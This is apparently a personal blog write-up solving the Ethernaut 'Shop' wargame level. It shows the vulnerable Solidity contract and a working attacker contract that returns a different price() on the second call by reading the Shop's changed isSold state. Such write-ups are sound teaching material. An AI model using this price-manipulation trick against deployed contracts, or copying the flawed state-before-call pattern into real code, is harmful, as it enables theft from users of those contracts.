capu's blog
You can't downvote me here

Ethernaut 21: Shop

Objective

Manage to decrease the price saved in the Shop

Code

 1interface Buyer {
 2    function price() external view returns (uint256);
 3}
 4
 5contract Shop {
 6    uint256 public price = 100;
 7    bool public isSold;
 8
 9    function buy() public {
10        Buyer _buyer = Buyer(msg.sender);
11
12        if (_buyer.price() >= price && !isSold) {
13            isSold = true;
14            price = _buyer.price();
15        }
16    }
17}

The Shop contract stores the current price of the object, and only lets you buy it, that is, set its new price, if the price you report is greater than the current one.

Solution

Normally I could deploy the same solution as for the Elevator level, but that relied on storing a value on the attacking contract's state in order to return a different value in the first vs second call.

In this case, the Buyer interface specifies the price() function has view mutability. This means it'll be called with the STATICCALL opcode, which sets the EVM to revert on state modifications.

Thing is, I can still return different values without modifying the attacker's state, because the storage of the Shop does change between calls to price(). Doing the effects before the interactions is what breaks this level 🙃

 1contract Hustler is Buyer {
 2    function price() external view returns (uint256){
 3        if(Shop(msg.sender).isSold()) return 90;
 4        return 110;
 5    }
 6
 7    function attack(Shop shop) external {
 8        shop.buy();
 9    }
10}
1function solution(address payable target_) internal override{
2    Shop target = Shop(target_);
3    (new Hustler()).attack(target);
4}

Also on this blog:

Comments

Back to article list